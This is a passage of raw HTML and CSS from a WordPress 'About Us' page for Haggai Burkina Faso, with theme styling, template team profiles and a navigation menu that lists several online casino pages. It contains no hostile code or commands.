.footer-widget h4,#main-footer .widget_block h1,#main-footer .widget_block h2,#main-footer .widget_block h3,#main-footer .widget_block h4,#main-footer .widget_block h5,#main-footer .widget_block h6{color:#2EA3F2}.footer-widget li:before{border-color:#2EA3F2}.bottom-nav li.current-menu-item>a{color:#2EA3F2}#main-footer{background-color:#222222}#footer-widgets{padding:6% 0 0}.footer-widget{float:left;color:#fff}.last{margin-right:0}.footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget li{padding-left:14px;position:relative}#footer-widgets .footer-widget li:before{border-radius:3px;border-style:solid;border-width:3px;content:"";left:0;position:absolute;top:9px}#footer-widgets .footer-widget a{color:#fff}#footer-widgets .footer-widget li a{color:#fff;text-decoration:none}#footer-widgets .footer-widget li a:hover{color:rgba(255,255,255,0.7)}.footer-widget .widget_adsensewidget ins{min-width:160px}#footer-bottom{background-color:#1f1f1f;background-color:rgba(0,0,0,0.32);padding:15px 0 5px}#footer-bottom a{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#footer-info{text-align:left;color:#666;padding-bottom:10px;float:left}#footer-info a{font-weight:700;color:#666}#footer-info a:hover{opacity:.7}#et-footer-nav{background-color:rgba(255,255,255,0.05)}.bottom-nav{padding:15px 0}.bottom-nav li{font-weight:600;display:inline-block;font-size:14px;padding-right:22px}.bottom-nav a{color:#bbb;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.bottom-nav a:hover{opacity:.7}@media all and (max-width: 980px){.footer-widget:nth-child(n){width:46.25% !important;margin:0 7.5% 7.5% 0 !important}.et_pb_footer_columns1 .footer-widget{width:100% !important;margin:0 7.5% 7.5% 0 !important}#footer-widgets .footer-widget .fwidget{margin-bottom:16.21%}.et_pb_gutters1 .footer-widget:nth-child(n){width:50% !important;margin:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0}#footer-widgets{padding:8% 0}#footer-widgets .footer-widget:nth-child(2n){margin-right:0 !important}#footer-widgets .footer-widget:nth-last-child(-n+2){margin-bottom:0 !important}.bottom-nav{text-align:center}#footer-info{float:none;text-align:center}}@media all and (max-width: 767px){#footer-widgets .footer-widget,.et_pb_gutters1 #footer-widgets .footer-widget{width:100% !important;margin-right:0 !important}#footer-widgets .footer-widget:nth-child(n),#footer-widgets .footer-widget .fwidget{margin-bottom:9.5% !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:10% 0}#footer-widgets .footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget:last-child{margin-bottom:0 !important}}@media all and (max-width: 479px){#footer-widgets .footer-widget:nth-child(n),.footer-widget .fwidget{margin-bottom:11.5% !important}#footer-widgets .footer-widget.last{margin-bottom:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:12% 0}}
@media all and (min-width: 981px){.et_pb_gutters3 .footer-widget{margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3 .footer-widget:last-child{margin-right:0}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget{width:12.083%}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget{width:15.6%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget{width:20.875%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget{width:29.667%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget{width:47.25%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget{width:100%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget .fwidget{margin-bottom:5.5%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1){width:73.625%;clear:both}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1){width:20.875%;clear:both}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2){width:73.625%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child{width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}}
.et-social-icons{float:right}.et-social-icons li{display:inline-block;margin-left:20px}.et-social-icon a{display:inline-block;font-size:24px;position:relative;text-align:center;-webkit-transition:color 300ms ease 0s;transition:color 300ms ease 0s;color:#666;text-decoration:none}.et-social-icons a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-social-icon span{display:none}.et_duplicate_social_icons{display:none}@media all and (max-width: 980px){.et-social-icons{float:none;text-align:center}}@media all and (max-width: 980px){.et-social-icons{margin:0 0 5px}}
#sidebar{padding-bottom:28px}#sidebar .et_pb_widget{margin-bottom:30px;width:100%;float:none}.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep{font-size:44px;line-height:44px}.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep{font-size:32px;line-height:32px}.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep{font-size:24px;line-height:24px}.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep{font-size:20px;line-height:20px}.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep{font-size:16px;line-height:16px}@media all and (min-width: 981px) and (max-width: 1100px){#sidebar .et_pb_widget{margin-left:0}.et_left_sidebar #sidebar .et_pb_widget{margin-right:0}}@media all and (min-width: 981px){#sidebar{float:left;width:20.875%}.et_right_sidebar #left-area{float:left;padding-right:5.5%}.et_right_sidebar #sidebar{padding-left:30px}.et_right_sidebar #main-content .container:before{right:20.875% !important}.et_left_sidebar #left-area{float:right;padding-left:5.5%}.et_left_sidebar #sidebar{padding-right:30px}.et_left_sidebar #main-content .container:before{left:20.875% !important}}@media all and (max-width: 980px){.et_right_sidebar #left-area,.et_right_sidebar #sidebar,.et_left_sidebar #left-area,.et_left_sidebar #sidebar{width:auto;float:none;padding-right:0;padding-left:0}.et_right_sidebar #left-area{margin-right:0}.et_right_sidebar #sidebar{margin-left:0;border-left:none}.et_left_sidebar #left-area{margin-left:0}.et_left_sidebar #sidebar{margin-right:0;border-right:none}}
.widget_search .screen-reader-text,.et_pb_widget .wp-block-search__label{display:none}.widget_search input#s,.widget_search input#searchsubmit,.et_pb_widget .wp-block-search__input,.et_pb_widget .wp-block-search__button{padding:.7em;height:40px !important;margin:0;font-size:14px;line-height:normal !important;border:1px solid #ddd;color:#666}.widget_search #s,.et_pb_widget .wp-block-search__input{width:100%;border-radius:3px}.widget_search #searchform,.et_pb_widget .wp-block-search{position:relative}.widget_search #searchsubmit,.et_pb_widget .wp-block-search__button{background-color:#ddd;-webkit-border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;-moz-border-radius-topright:3px;-moz-border-radius-bottomright:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;position:absolute;right:0;top:0}#searchsubmit,.et_pb_widget .wp-block-search__button{cursor:pointer}
/*# sourceURL=divi-dynamic-critical-inline-css */
</style>
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://haggai-bf.org/wp-json/wp/v2/pages/8" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<link rel="canonical" href="https://haggai-bf.org/about-us/" />
<link rel='shortlink' href='https://haggai-bf.org/?p=8' />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /><style id="et-critical-inline-css"></style>
</head>
<body class="wp-singular page-template page-template-no-title page page-id-8 wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">


	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">


			
				<article id="post-8" class="post-8 page type-page status-publish hentry">

				
					<h1 class="entry-title main_title">About Us</h1>
				
				
					<div class="entry-content">
					<div class="wp-block-group nfd-container nfd-p-lg nfd-theme-white nfd-bg-surface nfd-wb-team__team-5 is-layout-constrained wp-block-group-is-layout-constrained" ><div class="nfd-gap-y-2xl wp-block-columns are-vertically-aligned-top is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex"><div class="wp-block-column is-vertically-aligned-top is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-gap-md wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><figure class="nfd-rounded-sm wp-block-image size-large"><img decoding="async" src="https://images.unsplash.com/photo-1621972659738-598cd8f7c37c?w=200&#038;fit=crop&#038;w=600&#038;h=600&#038;crop=faces" alt="" style="aspect-ratio: 1; object-fit: cover" /></figure><div class="nfd-gap-sm wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-align-left wp-block-paragraph"><strong>Quincy Scott</strong></p><p class="nfd-text-base nfd-text-faded has-text-align-left wp-block-paragraph">Founder &#038; CEO</p></div><div class="nfd-text-pretty nfd-text-sm nfd-text-faded wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><p class="wp-block-paragraph">Our dedicated team works together to deliver exceptional results while maintaining a high level of professionalism and integrity.</p></div><div style="height:0px" aria-hidden="true" class="wp-block-spacer wp-container-content-9760934e"></div><div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-0d004395 wp-block-group-is-layout-flex"><ul class="is-style-logos-only nfd-gap-md wp-block-social-links has-small-icon-size is-content-justification-left is-layout-flex wp-container-core-social-links-is-layout-63375db1 wp-block-social-links-is-layout-flex"><li class="wp-social-link wp-social-link-instagram wp-block-social-link"><a href="https://instagram.com" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg><span class="wp-block-social-link-label screen-reader-text">Instagram</span></a></li><li class="wp-social-link wp-social-link-linkedin wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg><span class="wp-block-social-link-label screen-reader-text">LinkedIn</span></a></li><li class="wp-social-link wp-social-link-x wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg><span class="wp-block-social-link-label screen-reader-text">X</span></a></li></ul></div></div></div></div><div class="wp-block-column is-vertically-aligned-top is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-gap-md wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><figure class="nfd-rounded-sm wp-block-image size-large"><img decoding="async" src="https://images.unsplash.com/photo-1573878742615-3ce8fac77273?w=200&#038;fit=crop&#038;w=600&#038;h=600&#038;crop=faces" alt="" style="aspect-ratio: 1; object-fit: cover" /></figure><div class="nfd-gap-sm wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-align-left wp-block-paragraph"><strong>Nicole Moore</strong></p><p class="nfd-text-base nfd-text-faded has-text-align-left wp-block-paragraph">Venue Manager</p></div><div class="nfd-text-pretty nfd-text-sm nfd-text-faded wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><p class="wp-block-paragraph">Our team of experts ensures your event is planned and executed flawlessly, leaving you free to enjoy the experience without any worries.</p></div><div style="height:0px" aria-hidden="true" class="wp-block-spacer wp-container-content-9760934e"></div><div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-0d004395 wp-block-group-is-layout-flex"><ul class="is-style-logos-only nfd-gap-md wp-block-social-links has-small-icon-size is-content-justification-left is-layout-flex wp-container-core-social-links-is-layout-63375db1 wp-block-social-links-is-layout-flex"><li class="wp-social-link wp-social-link-instagram wp-block-social-link"><a href="https://instagram.com" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 